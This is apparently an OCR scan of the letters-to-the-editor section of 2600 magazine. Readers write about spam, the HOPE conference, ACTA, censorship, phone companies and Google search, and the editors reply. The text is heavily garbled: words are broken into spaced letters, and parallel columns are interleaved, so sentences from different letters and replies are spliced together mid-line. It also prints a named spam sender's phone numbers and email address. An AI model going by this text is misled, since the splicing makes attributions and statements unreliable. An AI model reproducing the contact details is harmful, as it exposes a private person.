angry lou .com.  Any suggestions ? 

Louis Martinez 
We have suggestions but they're not really 

printable. Sometimes it seems as if most of our 
mail is from people who have no idea wha t  it 
is they're mailing. And that's not even counting 
the spam.  
Dear 2600: 

I have a n u m ber of c l ients with i n  our network 
l oo k i ng for portab le  to i l ets. I was j ust l ook ing  at 
you r  s ite, and I a m  seek ing  to work with one 
company exc l u s ive l y. I ' m  s i m p l y  look i n g  to 
d i rect my c l ients to a relevant s i te when they're 
l ook ing  for portab le  restrooms.  

You r  s i te looks l i ke i t  cou l d  make a strong fit 
for what they're look i n g  for. Ca l l  me today for 
a demonstrat ion of how we can con nect you 

company as soon as poss ib le, so I'm hop i n g  the 
dec is ion maker i s  ava i lab le  to ta l k  somet ime 
today. G ive me a ca l l at you r  conven ience.  

Tha n ks in advance. 
El izabeth Greer 

949-379-2022 or 949-300-3953 
It takes a lot to get us angry. Unsolicited 

emails tha t  make little sense don 't really get us 
upset in the least. Nor does having someone 
say that  they've visited our website and the first 
thing it made them think of was portable toilets. 
Tha t 's  a valid critique and we will defend to the 
death the right of someone to express it. We 
are a little frustrated tha t  such a n  opportunity 
has apparently landed at our doorstep and we 
find ourselves with absolutely no contacts in 
the world of toiletry to even a ttempt to bluff our 
way through this and finally realize our dream of 
supporting ourselves through the production of 
human excrement. But wha tever. 

None of tha t made us angry. Wha t  made us 
lose our cool here was something tha t  happened 
after our auto-response was sent to the email 
address listed. See for yourself: 

"From : Elizabeth Creer 
<elizabethg@inbox. com> 
Subject: My spam filter requires verifica tion of 
your email a ddress 

Hello, 
You have reached Elizabeth Creer. 
I 'm protecting myself from receiving junk email 
by using Challenge/Response Spam Protection. 
Please follow the directions below to make sure 
I receive the email you just sent me. " 

This was followed by all sorts of directions 
that  needed to be carried out to the letter in order 
for our mail not to be discarded. Now we 're not 
especially big fans of jumping through hoops in 
the first place, regardless of the end goal. But the 
irony of spammers protecting themselves from 
spam and then bragging about it to the people 
that  they just spammed while subtly implying 
that  those very people may in fact be the true 
spammers was a bit much for our relatively level 
heads. We've already been in touch with some of 
the highest a uthorities in the toilet industry who 
don't like to see their overwhelmingly positive 
image tarnished by such behavior. Needless to 
say, this isn 't over. 
Dear 2600: 

I ' m  not s u re i f  an actua l  person wi l l  rece ive 
th i s  or not, but I am l oo k i ng for the truth here. 
I have a fr iend who I bel ieve i s  de l us iona l ,  and  
he has constant ly  ta l ked about  work i n g  for a n  
organ izat ion ca l led H A N A .  I a m  j ust l ook ing  for 
the truth here .  I f igured th i s  wou l d  be the p l ace 
to contact over the issue because he said that 
2600 has written about the orga n i zat ion HANA. 
Does HANA exist i n  you r  knowledge? Or i s  my 
fr iend fu l l  of sh it?  

to these c l i ents. I a m  look i n g  to work with one Daniel 
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Far be it from us to say your friend is full of 
anything but we don 't know of such a reference 
inside our pages. He could be referring to the 
High-Definition Audio-Video Network Alliance 
which is dedicated to "bringing HD to life " 
and is suspected by some of being run by extra­
dimensional beings. Or perhaps he:, alluding to 
the small community in Hawaii. We wish you 
luck in solving the mystery. 
Dear 2600: 

Am I the on ly  one who's a mazed that redbox. 
com was actu a l l y  ava i l ab le  as a doma i n  name? 

Bavs 
Most likely you are since tha t  name hasn 't 

been available since 1 999.  
Dear 2600: 

I 've been read i ng you r  mag for two quarters, 
and I love it! I heard about the HOPE conference 
you guys were h o l d i n g  which I t h i n k  i s  pretty 
awesome. 

So my quest ion i s :  Can I attend The Next 
HOPE i n  2 0 1 0 even though I haven't rea l l y  
hacked anyt h i n g  yet (we l l ,  t h i s  depends on what 
"hack" means) and I don't th i n k  I am a n  offi c i a l  
hacker? 

Hack ing i s  N ot a Cr ime !  

page. We 've been unable to  duplicate i t  and we 
tried to be really malicious. 
Dear 2600: 

Before I put too much work i nto t h i s  I wanted 
to m a ke s u re you h ave no objections to th i s  s i te :  
http ://2 600.wrepp.com 

Wil l iam R. Epp 
By all means, go for it .  This is a site that 

provides information on 2600 articles over the 
years, including author info and a synopsis of 
each article. It's one of the many things we 'd love 
to be doing if only we had the time. Best of luck 
on this and thanks from us and the community. 
Dear 2600: 

What exactly is go i ng on on page six of issue 
2 5 : 2 ?  One can eas i l y  f ind more coherent writ ing 
in a Wi l l i am S .  B u rroughs nove l .  Do you even 
read the a rt ic les you pr i nt?  What i s  a " I otabase," 
a nyway? Whatever happened to editor ia l  
i ntegrity? Are  you  h i r i n g  for proofread i ng 
pos i t ions?  Perhaps I shou l d  apply. You hacks wi l l  
pr in t  a nyth i ng, won't you ?  

Brady DeStefanis 
Not anything, but ta unting and obnoxious 

letters like this are hard to resist. As we already 
sta ted in our last issue, this was a major error 

Apple Freak tha t  was caused by a computer problem that  
There is  no officialdom in the hacker world. took place after the proofreading process. It 

Our conferences are open to everyone. They probably upset us a lot more than anyone else. 
are a place of learning, sharing information, and We reprinted the affected section and have taken 
making friends. Plus they're just a load of fun steps to prevent this from happening again .  But 
for everyone concerned. 50 don 't worry about mistakes do occur. We look forward to hearing 
having to prove yourself Just start planning for from you again after the next one. 
20 1 0  now. 
Dear 2600: Ran ts 

I was j ust wonder ing what 2600's pos i t ion on Dear 2600: 
ACTA (Anti-Counterfe i t i ng Trade Agreement) is, Porter Payne's art ic le  in the Summer issue 
and what the o n l i ne com m u n i ty i s  do i ng about looks to me l i ke yet a nother t i red, red u ndant 
i t .  I have seen prec ious l i tt le  ment ioned of i t, but compla i nt from a menta l l y  p igeon holed secur i ty 
I fear for my freedoms. Are there protests go i ng guy. 
on?  Is a nyone do ing anyt h i n g  about th i s ?  Note: "The best secu r i ty pol i cy for any 

A lso, when I use your search box on the m a i n  mach i ne i s  for i t  t o  have no network con nect ion,  
page of the s i te, Google b i tches about ma l ic ious  no modem, no software updates, and no 
requests . WTF ?  ant iv i rus  software, and  for a l l  i n put t o  b e  entered 

Dan by a l i tt le  old l ady from Kentucky." 
Little has been mentioned on ACTA because I don't take Payne's idea l  as a gen u i ne desi re 

so little is known .  The negotiations for this global on h i s  part to remove most fu nction a l i ty from 
agreement have been conducted in absolute a l l  mach i nes everywhere, but  i t's sti l l  a very 
secrecy which alone is grea t cause for concern . ugly  att itude to take: secu r i ty pol i c ies are about 
The goals of ACTA include stricter enforcement restr ict ion,  not fac i l itat ion .  
of copyright laws, the ability to  search laptops Ear l ier  in h i s  art ic le, Payne descr i bes a 
and other devices at international borders in scenar io  where v i s i tor name tags for a f irm are 
order to find violations, and the mandatory pr i nted and relevant i nformation saved to a 
disclosure of private customer information from database wh ich  is sharable remote ly  throughout 
Internet Service Providers when violations are the f i rm's network. He then goes on with some 
suspected. In short, it', a very bad and ominous legit i macy to descr ibe what a secu r ity n i ghtmare 
development tha t has global implica tions. The t h i s  can be. U nfortu nately, Payne's above rad ica l 
best way to stay informed and to help fight this "so l ut ion" to sec ur i ty i ssues is as u nfeas ib le  as 
thing is to read the leaked ACTA ma terial tha t  has hav i n g  no secur i ty at a l l .  I ' m  very t i red of hear ing  
found its way onto wikileaks. org and to  visit sites IT people taC i t ly  argue that the o n l y  legit imate, 
like www. ipjustice.org/acta for the la test info. i nte l l igent technology agenda is one centered on 

We 'd like more details on just wha t tha t secur i ty. Why is there such i ns i stence on cu l l i ng 
"malicious request "  thing with Coogle is on our back techno logy'S usefu l ness? 
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Secu rity has many faces, i n c l u d i ng the k i n d  
that ensures Payne stays employed b y  a v iab le, 
non-ba n krupt ing  f irm not over ly  h i ndered by 
secur i ty lockdowns.  Theoret ica l l y  spea k i ng, 
secu r ity can either be complete ly  sacr ificed 
of any mea n i ngfu l funct iona l i ty or i t  is a 
comprom ise with other va l ues. Tota l d i sgust for 
the l atter ignores why techno logy ex i sts i n  the 
fi rst p l ace and security people know this - they 

B u rn it. B u r n  it, I say ! Get Wi nston to de lete it 
from the a rch ives, w i pe the s l ate of h i story c lea n 
of th i s  a berrat ion,  a n d  let no one ever speak of 
th i s  aga i n .  

A t  t h e  very least, next t i m e  you rece ive such 
dr ivel  and  a re i n  need of fi l ler for the p u b l icat ion, 
i n c l ude i t  as a letter to the ed itor ent i t led " G i mme 
some respect, damm it ." 

PMD 
simply ignore the fact. Data i s  protected beca use We encourage critical looks and analysis 
i t 's va l uab le, but that va l u e  o n l y  comes from of all of our articles as this helps to further the 
the a b i l ity to use it - conven ient ly and with discussion and correct any misconceptions or 
flex i b i l i ty. inaccuracies tha t  may exist. We believe most 

I know right now that many read i n g  th i s  readers would consider i t  their obligation to 
l etter are present ly  spew i n g  v itr io l  at me for correct tha t  which they see as wrong and, in 
my cont i n ued i gnora nce and oppress ion of the so dOing, achieve something positive. But it 
wor ld 's poor, m i s u n derstood IT gen i u ses, many really annoys us no end when people assume 
of whom seem to fee l deep down that o n l y  they that  articles they don 't like are included simply 
know how to hand le  i nformation .  I rea l ly wish  because we need to  fill pages. You are going 
such peop le  wou l d  rea l i ze they're an i m portant to see things tha t  don 't mesh with your ideals 
but equ a l  pa rt of a l a rger whole,  not the deposed, and you will read views tha t  you violently 
r ightfu l d ictators of a treas u re o n l y  they respect .  disagree with. Hopefully this will instigate a 

Robyn Adelaide needed dialogue and get people to think. It's the 
Dear 2600: thought-provoking discussions tha t  truly serve 

I have a s l ight prob lem with "Th i rteen Yea rs our purpose, not just the printing of articles that 
of Start ing  a Hacker Scene" (2 5 : 2 ) .  we know everyone is going t o  agree with. 

Let us assume that each and every one Dear 2600: 
of the exp lo i ts ment ioned, ra ng ing  from the Hi my names G reg but my n ick i s  feretman 
AI-Goresque " I  started the whole scene" to the i read you r  re l l y old 2 600 but i was j ut te l l i ng 
somewhat sad l i st of " I  knew such-and-such," . d 

. 
t t d every one a W i n  ows xp egg go I n  0 no e pa 

is actu a l l y  1 00 percent accu rate. I have some and type Bush  h i d  the facts you shou l d  ether get 
reservat ions on that cou nt, but wi l l  not take issue . 

t 
. 

· · bb · b sq uares or J Us some Japenes J I  ery J Oo 
with the facts themse l ves. P. S .  im 1 2  Lol 

My prob lem is  the u nend ing  se l f-aggra n d i z i n g  
Greggg 

and wh i ny tone, used so le ly  to p l u nge us i nto the 
In a few years, would you be kind enough to 

vacuousness of a fu l l y content-free th ree page 
revisit this letter and tell us just wha t  it meant?  

a rt ic le .  Th ree pages of "back i n  the day, we had 
It might prove to be a fascina ting study of some to use TCP over carr ier p igeons" and "boy did I 

h ave it tough but  I d i dn't let a l l  the fame get to sort. It might also prove fruitless as we know a 

me, no s i rree" . . .  it even i n c l udes a l i st of h e l pfu l number of middle-aged people who also speak 
this dialect. hack ing s i ng-a- Iong songs. I want my s ix  m i n utes 

back. Dear 2600: 

I thorough l y  enjoy a l most every art ic l e  i n  A n  a utomated vo ice greeted m e  today, 

you r  pub l icat ion .  I try to use it to i ntroduce i ssues looki ng for a person who cu rrent ly  has no 

many of us take to heart u s i ng the h igh qua l i ty, connection to "my" phone n u m ber. I 've never 

more genera l a rt i c l es so peop le  can get a sense heard of th i s  person.  The a utomaton 's master 

of what hack ing is, what it 's about, what many of wanted th i s  person to make a prompt payment. 

its enth us iasts a re try i n g  to do and u ndersta nd.  I With its l i fe l ess i ntonation, it was k i n d  enough 

wi  I I , however, be forced to remove pages 1 7- 1 9 to offer me the opt ion to he lp  it u pdate its 

before consider i ng loa n i n g  out th i s  issue.  records. I selected that opt ion,  and  i t  sa id i t  

Anyone not a l ready wel l acqua i nted with the was tra nsferr ing me to a h u m a n .  U n fortu nately, 

d iverse com m u n i ty we have, a nyone whose o n l y  a l l  carbon based l ife forms were otherwise 

view i nto our  wor l d  is through the d istorted lens occup ied, so the a utomaton asked me to ca l l  

of m a n i p u l at ive corporations  and ma i nstrea m back at a more conven ient t ime for them. How 

med ia,  wou l d  have most of the i r  preconcept ions many more t i mes wi l l  th i s  a utomated s l ave 

about b i tter, pasty-s k i n ned 2 8-year-o l d  rejected harass me before it either fi nds its mark,  or I 

l oners l iv ing  i n  the i r  parents' basement confi rmed get frustrated enough to ca l l  the a l l eged h u m a n  

by a ny th ree paragraphs  of that a rt ic le .  I t  prov ides on their terms? The company to which money 

no i nformation or i ns ight  for reg u l a r  readers a n d  i s  owed i s  h idden anonymous ly  beh i nd th i s  
performs a d i sserv i ce to  the com m u n ity every bou nty h u n ter-o-matic .  I can 't even boycott the 
t ime it fa l l s  u nder the eyes of a non- i n i t i ate. company's product. Shame on me for p ick ing  up 
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the phone when the Ca l ler I D  was c lear ly from 
someone I d i d  not know. I thought it was a nother 
po l l ster-o-matic to whom I wou ld aga i n  l ie about 
my futu re voti ng choice. 

this wou l d  u ndoubted ly cause severe fi nanc ia l  
losses for the  te lecoms who provide broadband 
cu rrent ly at reasonable pr ices .  Th i s  wou ld resu l t  
i n  a mass ive i ncrease i n  serv ice pr i ces for the few 

AJ that rem a i n  who wish  to use a pr ivate I n ternet 
Ohio serv ice.  Th i s  i s  a big prob lem for the C h i nese who 

You certainly have the right a ttitude when a l ready h ave an I nternet system l i ke t h i s  in p l ace 
dealing with these obnoxious idiots. You have a that is complete ly l ocked down, pol iced, and 
few options here. For o n e  thing, assuming you aptly du bbed "The G reat F i rewa l l  of C h i na ." The 
ever did reach a human, you can tell them never I nternet is the s i ng le most powerfu l research and 
t o  call you again, and they will b e  i n  violation o f  deve l opment too l on the p l anet where freedom 
the law if they do. This applies even when they're of i nformation re igns . . .  for now. The FCC says 
calling the right person who owes them money. that the c l a i m s  of censors h i p  are overb low n .  If 
Another option is to simply plug the phone so, why a re they in such a goddamn h u rry to get 
number tha t  showed up on your Caller 10 into the b i l l  passed without even lett ing  m a i n stream 
a search engine and see if anybody else has had soc iety know much about i t ?  They did the same 
any experience with it .  Many times you will find th i n g  with the Patr iot Act, and they can now tap 
people who did. you r  phone without a warrant or deport you or 
Dear 2600: even deta i n  you for an  i ndefi n ite amount of t ime 

Th is  i s  a n  i m porta nt i ssue and the peop le without hav i n g  to give you a tr i a l  or a l awyer. 
have a r ight to know what is  go i n g  on without Yes, even i f  you 're an  Ameri can c i t izen ! 
the med i a  sugarcoat ing it to m a ke it l ook l i ke Am I the o n l y  one who sees a pattern here? 
candy covered sh it .  A l so, I wou l d  l i ke to know if Most peop le th i n k  I 'm parano id  but maybe I 
there were any other groups or orga n i zat ions out have good reason to be. Big B rother i s  rea l and i s  
there fight i n g  these Naz i  fucks. a big prob lem.  The fact i s  this kind of censors h i p  

T h e  FCC, a ka t h e  Federa l Censors h i p  and host i l e  ta keover o f  not j u st t h e  I n ternet, but 
Com m i ss ion ,  has  j u st fast·tracked a proposa l the med ia ,  te lecoms, for God's sa ke even the 
to offer free w i re less I nternet u s i ng the wh ite fuck i n g  secu rity cameras at Wa l·Mart, begs the 
space spectru m .  The wh i te space spectrum is q uest ion of j ust how big is B i g  B rother a l ready? 
conve n i ent ly being freed up now that a l l  the I sti l l  have my beige box and even though it's 
te lev i s ions  a re be i n g  forced by the Naz i  bastards outdated because of the common ness of ce l l  
to convert to d ig i ta l .  W h i l e  the proposa l states phones (wh ich  are a l so ab le  to be tracked with 
that the network wou l d  be free, what they aren't G PS), at least I can st i l l  m a ke anonymous ca l l s 
say i n g  is that because it 's a p u b l i c  network, they i f  I need to . 
can p l ace fi l ters to contro l  what you s u rf. They U nknown Unknown 
c l a i m  i t  is to protect c h i ldren from access i ng There 's a lot to cover here but we'll try to 
i n appropriate mater i a l .  Is it to protect c h i ld ren?  make i t  simple in  the interests of space. Your 
Or is i t  an attempt to control and censor the concerns about the white space issue certainly 
I nternet once and for a l l ?  And i f  so, who are have merit but we don 't see the evidence (yet) to 
they to dec ide what's i nappropriate for me or support them. On one hand you say they won 't 
my c h i ldre n ?  Th i s  proposa l comes conve n i ent ly tell anyone about the censorship tha t's going 
after a federa l law was passed req u i r i n g  every to be imposed and then you tell us how they 
te lev is ion set in America that doesn't have justify it. If someone is in fact admitting to this, 
d ig i ta l  te lev i s ion  to convert. (By  the way, the then it's importan t  to cite the source and give us 
government p robab ly  makes a p i ece of the profit all an opportunity to investigate and challenge. 
for every converter box sold through a contract Censorship is something to be very concerned 
between them a n d  the man ufactu rer. ) about which is why it's importan t  to focus on the 

The I nternet is the l ast holdout for free and specific threat, rather tha n  a vague fear which 
i ndependent thought.  I t's the l ast p l ace where may actually serve to get others to dismiss your 
you can go to p u b l i c l y  voice you r  opi n ion no points due to the lack of particulars. 
m atter what you r  v iews a re without censors h i p .  We certainly are faCing some interesting 
Th i s  p rob lem is b i gger than j ust not bei n g  ab le  to technical and social issues in the coming months 
dow n l oad movies or m u s i c  or  look at porn . The and it will be faSCinating to see wha t  direction it 
p l a n  wou l d  a l l ow them to decide what k i n d  of all goes in . But as long as people remain vigilan t  
s i tes I cou l d  v i s it, what  k i n d  of mater ia l  I cou l d  a n d  educated o n  the issues, free speech won 't 
read, a n d  whatever they deemed i nappropr iate be disappearing. Nor will a nonymous phone 
wou l d  be b l ack l i sted and u n ava i lab le .  calls. 

My second point  is th i s .  We a re a country Dear 2600: 
based on free enterprise. The p l a n  wou l d  ca l l  I ' m  one of those o l d  farts who remembers Ma 
for about 95 percent of America to be u nder the Be l l .  Ma Be l l was many t h i ngs, i n c l u d i n g  easy-
networ k  b l a n ket with i n  the decade. Because it's to-beat, but the phone system worked, and at  
free a n d  most people a re ignorant of the s i tuat ion, not too exorbitant a pr ice.  Of course, Ma Be l l 
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was a monopo ly, u n l i ke what we have today ! So a rrests and prov i d i n g  l i sts of hacker pr i soners to 
it  amazes me that Americans a re wi l l i ng to pay support. 
thei r new, i mproved (g ia nt) phone compa n i es But there rea l l y  is no more fence-s i t t ing i n  
for doub le-d ipp ing  without a m u r m u r !  Here today's wor ld .  E i ther you be l i eve i n  freedom, 
in Tha i l and, and in many other countr ies, ce l l  a nonymity, pr ivacy, o r  you don't .  We can not 
phones are charged for outgo i ng c a l l s .  After hang on to these essent i a l  h u m a n  va l ues without 
a l l , somebody e l se has a l ready pa id  for the ca l l  f ight i ng for them.  P lease, 2 600, take a sta nd ,  
they made to you !  So why shou l d  you pay for at least on some of the most b lata nt issues, 
i ncom ing ca l l s?  l i ke censors h i p, for example .  At th i s  po int  in  

Crypto i s  good ! But  not for the l azy. U s i ng h i story, do we rea l l y  need be afra id  of offend ing  
crypto requ i res that  extra step. U s i ng c rypto someone? 
depends on you r  persona l  th reat leve l .  I don't F i n a l ly, with a nod to the fundamenta l i sts, 
worry about try i n g  to concea l my data from there is a reason I n temet has a capita l " I ," sort of 
govem ment because they have the l aws in p l ace l i ke, wei I .  . .  God ! 
to demand my crypto keys and passph rases. CJ Hinke 
Crypto is obv ious ly  sti l l  a m u n it ion ! So few Freedom Against Censorship Thai land (FACT) 
people actu a l l y  use any d i sk  protect ion that, We're not often accused of being apolitical 
when you do, it  ra ises some extra i nterest at and not taking a stand on things like censorship 
the homeland's borders. I t  i s  s i mp ly  not safe and hacker persecution.  But since you refer to 
to ca rry you r  laptop across borders anywhere us as "one of America 's biggest magazines, " we 
a nymore. Fa r better to courier you rself a dr ive to suspect you may in fact be reading the wrong 
you r  dest i nat ion and borrow or rent a computer publica tion. And it 's precisely beca use we 're 
whi le you're there. Su bscr ibe to B ruce Schneier's not all tha t big tha t the various fea tures you 
Crypto-Cram Monthly for some i n s p i rat ion . want aren 't yet in place. With time and support, 

I n c identa l l y, we pa id  a v i s i t  to the N SA's there 's a great deal we can accomplish so don 't 
Nat iona l  Cryptologic M u seum dur ing  a recent give up on us yet. 
v is i t  to D.C. Fabu lous  mac h i nes !  And a lot As for cell phone calls in Thailand (and other 
of stuff we d i d n 't know about, l i ke the "s lave countries) not being charged to the callpd party, 
q u i lts" which used code to he lp  runaway there is a tradeoff to this .  Calls to cell phones in 
s l aves. I nterest i ng ly, the one t h i n g  the N SA these countries cost more than calls to landlines. 
m useum doesn't mention i s  PGP, leav i ng open In the States and Canada, there is no such 
to spec u l at ion they've a l ready cracked it and  distinction.  O f  course, the question remains a s  
so  i t's u n i mporta nt or they  haven't and so don't to why it should cost more for anyone to make 
wa nt rea l America ns  us ing i t !  Wired reported or receive a cell phone call in this day and age. 
some years ago on a pr ivate crypto m useum i n  Hopefully, this will b e  the next phone company 
Cal i forn ia  but  I haven't  yet been ab le  to fi nd i t .  rip-off to disappear. 
Do any 2 600 readers know about th i s ?  Dear 2600: 

And censors h i p .  A l l  the h i gh-profi le  Hats off to ntbnnt  for h i s  a rt i c l e  " The 
obscen i ty cases were d i s m i ssed . So we now have H ughes Net FAP" (2 5 : 2 )  which exposed the 
a s i tuat ion where se lf-appoi nted "ant i -terror" desp icable bandwidth restr ict ion pol i cy of t h i s  
cyber-v i g i l a ntes (check o u t  I n ternet Haga n a h )  low l i fe scu m bag compa ny and h o w  t o  work 
work hard to shut  peop le up (you 're next) and a round i t .  The o n l y  way t h i s  company can gel 
government and med i a  use entrapment schemes away with ra m m i ng t h i s  type of bogus restr ict ion 
to catch a "predator" (who wou ld not have been on consumer dow n l oads i s  beca use of the type 
one without the scheme ! ) .  o f  I nternet serv ice which i t  prov ides, w h i c h  i s  

I ' m  one of  the crowd who wants b igger pr in t  sate l l ite. I f  you l ive i n  a rura l  and/or rem ole a rea,  
even i f  i t  resu l ts i n  a b i gger magaz i n e  at  a h igher it  i s  i m poss ib le  to have a DSL or cable l i ne run 
pr ice.  Why i s  2600 not ava i lab le  to subscr ibers by out to you r  house by the service prov ider. So if  
ema i l  or PDF? And why i s  a complete, searchable you m u st have I n ternet, it  has to be prov ided 
back issue co l l ect ion not yet ava i lab le?  by th i s  compa ny. So ,  i n  th i s  type of  s i tuat ion,  

I rea l ize Mac users may not  be a b ig  sect ion a company such as H ughesNet can get away 
of the hacker popu l ace but we need to see a with th i s  k i n d  of ri p-off. I look forward to more 
b i gger sel ecti on of stuff we can do with a Mac, of these types of a rt ic les showing  u p  consumer 
p lease!  u nfr iend ly  compa n ies. 

I 've been rea d i n g  2 600 for more than 2 0  Brainwaste 
years.  Yes, I ' m  a w i m p  - despite the fact that And we look forward to printing them . A fter 
we've been to l d  2 600 is one of America's all, there seems to be an infinite supply. 
b iggest magazi nes, I 've never exact ly  wa nted to Dear 2600: 
be on the su bscript ion ro l l s .  Ca l l  me para n o i d !  I started read i n g  2600 severa l years ago 
(We l l ,  we're not exact ly  gett ing  more free, a re after I had my ident ity sto len by a group of 
we? ! ? )  Dur ing  a l l  t h i s  t i me, 2 600 has rem a i ned "foreigners"  that targeted doctors.  I thought that 
reso l ute ly  apo l i t ica l  even to report ing  hacker acq u i ri n g  any knowl edge of certa i n  subjects 
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cou ld he lp  me prevent futu re prob lems.  I have 
been enterta i ned and e n l ightened, and I decided 
to order back issues and read from the begi n n i n g  
o f  you r  pub l icat ion .  I have ordered two or more 
years' worth at a t i me. 

The other eve n i ng, I went on l i ne and was 
su rpri sed to see "dea ls"  offered for d i scou nts if I 
bought amou nts that I had a l ready been buy i ng.  
No such "dea ls"  are ment ioned i n  the magaz i ne.  
I fou n d  that surpri s i n g  and i ncons istent, i f  not  
d i scr i m i natory. See page 42 of 2 5 : 1  - "We love 
gett i n g  cr i t ic i sm and letters that point  out when 
we've done somet h i n g  bad or stup id . "  We l l , 
wh ich  was th i s ?  

Larry Clements 
It was neither. Since very few people these 

days who aren 't in prison send us handwritten 
mail and don 't do anything online, it's rare tha t  
someone isn 't aware of the existence of our 
online store with the huge amount of items listed 
on it. (For those who remain unaware, it's at  
store. 2 600. com . )  There simply isn 't any way we 
could list all of the special deals tha t exist on the 
online store here in the magazine, although we 
do make many references to the store �s existence 
and encourage people to visit it. For people who 
can 't visit the store for wha tever reason, we 
figure out a way to work things out as we wound 
up doing in your case. 

Praise 
Dear 2600: 

I j ust wa nted to write a letter of pra i se and 
commendation for Ma ry, you r  office manager. 
She has made a l l  of my dea l i ngs with the 
bus i ness s ide of 2 600 very pa i n less.  She has a n  
extremely profess iona l  att i tude, and a wonderfu l 
grasp of her job funct ions.  Whatever you are 
pay i n g  her, you shou ld  dou b le  it . P lease pass t h i s  
encouragement on t o  her. 

drlecter 
We all appreciate the kind words. We're 

proud to be associated with people who add a 
high degree of professionalism and integrity to 
their jobs. From the office to the conferences 
to the artists and writers, we 've got an amazing 
crew and it�s nice to occasionally marvel at tha t. 
Thanks for getting us to do that .  
Dear 2600: 

I ' m  a long t i me reader, but I 've never wri tten 
you before because I 've never had a reason .  
I p icked u p  you r  book a t  Borders a couple of 
weeks ago a nd, after read i ng the fi rst couple of 
h u n d red pages, I fe l t  a need to write you and 
te l l  you what a n  awesome c u l t u ra l  h i story i t  i s .  
I was  born  at the beg i n n i ng of  the 80s, and Ma 
B e l l  was  a memory by  the t ime I learned to  d i a l .  
I 've been i m mersed i n  and fasc i nated b y  B B Ses 
and then I n ternet technol ogy s i nce I was 9 or 1 0, 
but  I never spent the t ime I shou ld  have learn i n g  
h o w  the p h o n e  system worked . For a ca reer 

was 1 0  but d id n't  - I 've got a new respect for 
the h i story of te lephones, as wel l  as new i n s ight 
i n to the bas ic technology that  gave b i rth to the 
I n ternet .  I 've certa i n ly read p lenty of texts that 
trace the h i story of switched networks a l l  the 
way back, but  not h i ng has ever grabbed me i n  
the same way, let a lone wowed me. 

I j ust wanted to say thank you for a l l  the yea rs 
of hard work. A Hacker Odyssey tru ly proves 
that 2 600 is a nat iona l treasu re, and anyone 
i n capable of recogn iz ing  that i s  out  of tune with 
the worl d  they l ive in .  Keep 'em com i ng, and I ' l l  
keep read i ng !  

scripter 
Dear 2600: 

I am a subscri ber of you r  mag, and have j ust 
got my hands on you r  new book The Best of 
2 600. Abso l ute ly fa ntast i c !  

Steve Mclaughl in  
Dear 2600: 

J u st thought you might  be i nterested in my 
recent  SC col u m n  pra i s i ng The Best Of 2600 
book:  http ://www.scmagaz i neuk .com/A-hacker­
b i b le- i s-born/artic l e/1 2 03 7 1  I 

Keep up the good work ! 
Nik  

Thanks for letting u s  know. We always enjoy 
seeing reviews, especially the good ones. 
Dear 2600: 

G reat ! I j ust sp i l led beer on page 43 . 
Fortu nately it d idn 't soa k through to page 45 and 
I can sti l l  read a l l  the text on the sp i l led page. 

Th a n ks for mak ing a q u a l ity magaz i ne.  
LodeRunner 

Tha t  was the first test we performed as well. 
Dear 2600: 

Tha n ks for switc h i n g  back to the o ld  
b i n d i ng.  

Andy 
Don 't mention it. Clearly, it was the right 

thing to do. All of the angry mail made that 
crystal clear. 

Coogle Bits 
Dear 2600: 

Hack ing the p u b l i c  m i nd has been go i n g  on 
s i nce the begi n n i ng of recorded h i story. Without 
that crucia l  abi l i ty, s l avery wou ld be next to 
i mposs ib le .  That sa id,  I t h i n k  i t  takes no stretch 
of the i magi nat ion to i magi ne why Google 
wou l d  be censori ng data rel ated to free (or at 
least rea l l y  cheap) energy, economic educat ion,  
and pretty much a nyth i ng e l se that wou ld u p l ift 
the average c it izen . I wonder i f  you guys are 
aware of any less B i g  B rother ish search engi nes 
with comparab le  data? I f  so, and i f  i t  won't get 
you i nto too much troub le  with  our  o ld  g lobal  
masters (p lease te l l  me you know what I mea n) ,  
wou l d  you be so k i n d  as to post  a n ice l i st? Pretty 
p l ease? With sugar on top?  

Pulse 
geek, you r  book i s  a rea l ly exce l lent  summary If readers would like to suggest alterna tive 
of a l l  the t h i ngs I shou ld  have learned when I search engines tha t have an)'where near the 
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comparable data tha t  Coogle does, we 'd like to my fr iend h u r l i ng ga rbage bags of empty and 
see a list. We searched on Coogle but didn 't find fu l l  beers out of our  th i rd story room and i nto 
any. ( We did it anonymously to avoid a visit from the hote l cou rtya rd when a ra i d  was i m m i nent), 
the Coogle Coons.)  We d like to know more none of it wou l d  have ever happened ! 
about your contention tha t  Coogle is censoring I sti l l  rock a R u b i Con 2 000 t-s h i rt to th i s  
informa tion o n  alterna tive energy and other day, the one with a guy on the front eq u i pped 
things. Specific evidence is always nice. with a datajack in h i s  forehead (cyberdeck sold 
Dear 2600: separate ly ) .  

I j ust thought  you r  readers m i ght f ind th i s  of I am cu rrent l y  amass i ng a squadron to 
i nterest. I googled "anarch i tectu re" one day to descend upon The Next HOPE .  It sha l l  be 
find s i tes and journa l s  about the spec if ic top ic  gra n d !  
o f  "anarch i tectu re" (where t h e  wor lds o f  anarchy Anyone i n terested i n  sta rt i ng u p  a 2 600 
and arch i tectu re co l l i de, so to say) .  I fou n d  meet i ng i n  t h e  metro- Detro it  a rea, p l ease fee l  
many many s i tes, a rt ic les, and jou rna l s  about free to befr iend me on MySpace: myspace.coml 
the top ic .  Then, j ust yesterday, Google's search Rebe l Rob. P lease i nc l ude a message with 2600 
engi ne started send i ng me to s i tes based on a i n  the subj ect or to the spam fo lder you s ha l l  go. 
search of "an arch i tectu re," even though I typed Rob 
"anarch itecture" in the searc h .  Tota l ly not what While we have nothing against fun and 
I wanted, and there were many pages of useless crazy antics, you 'll find tha t  the HOPE crowd 
u nwa nted i nformatio n .  I wondered if they had isn 't so much about mayhem but more about 
changed someth i n g  in the way they search building a community and creating a memorable 
for s i tes and if it is retr iev ing  tons of use less conference as we've now done seven times. 
i nformation for other people search i ng for other Perhaps it 's the en vironment of New York City 
top ics .  J ust thought someone may be i nterested . surrounding us that  makes this happen or maybe 

brian h. it's the large amount of Europeans a ttending who 
Putting it in quotes seems to avoid the were the inspiration for us to do this in the first 

unwanted results. We are aware that  Coogle has place. Whichever it is, we know you 'll have an 
been making changes to the manner in which amazing time. 
results pop up and not always in a good way. Dear 2600: 
The best thing to do is bitch and gripe when this At th i s  point  you are l i ke an o l d  fr iend, 
happens and you may get results. a l though we have never spoke n .  I have fe l t  

From the Inside compe l l ed to write for some t ime a nd, f ina l l y  

Dear 2600: gett ing  around to i t, deci ded to go a l l  out: th i s  

I j ust received my fi rst i s sue  (2 S : 3 )  as a letter, a persona l  l etter, and an art ic l e  submiss ion .  

su bscr iber (m inus  the stap les) .  S i tt i ng here in  (Yes, th i s  i s  my fi rst attempt at  gett ing  pub l i shed. 

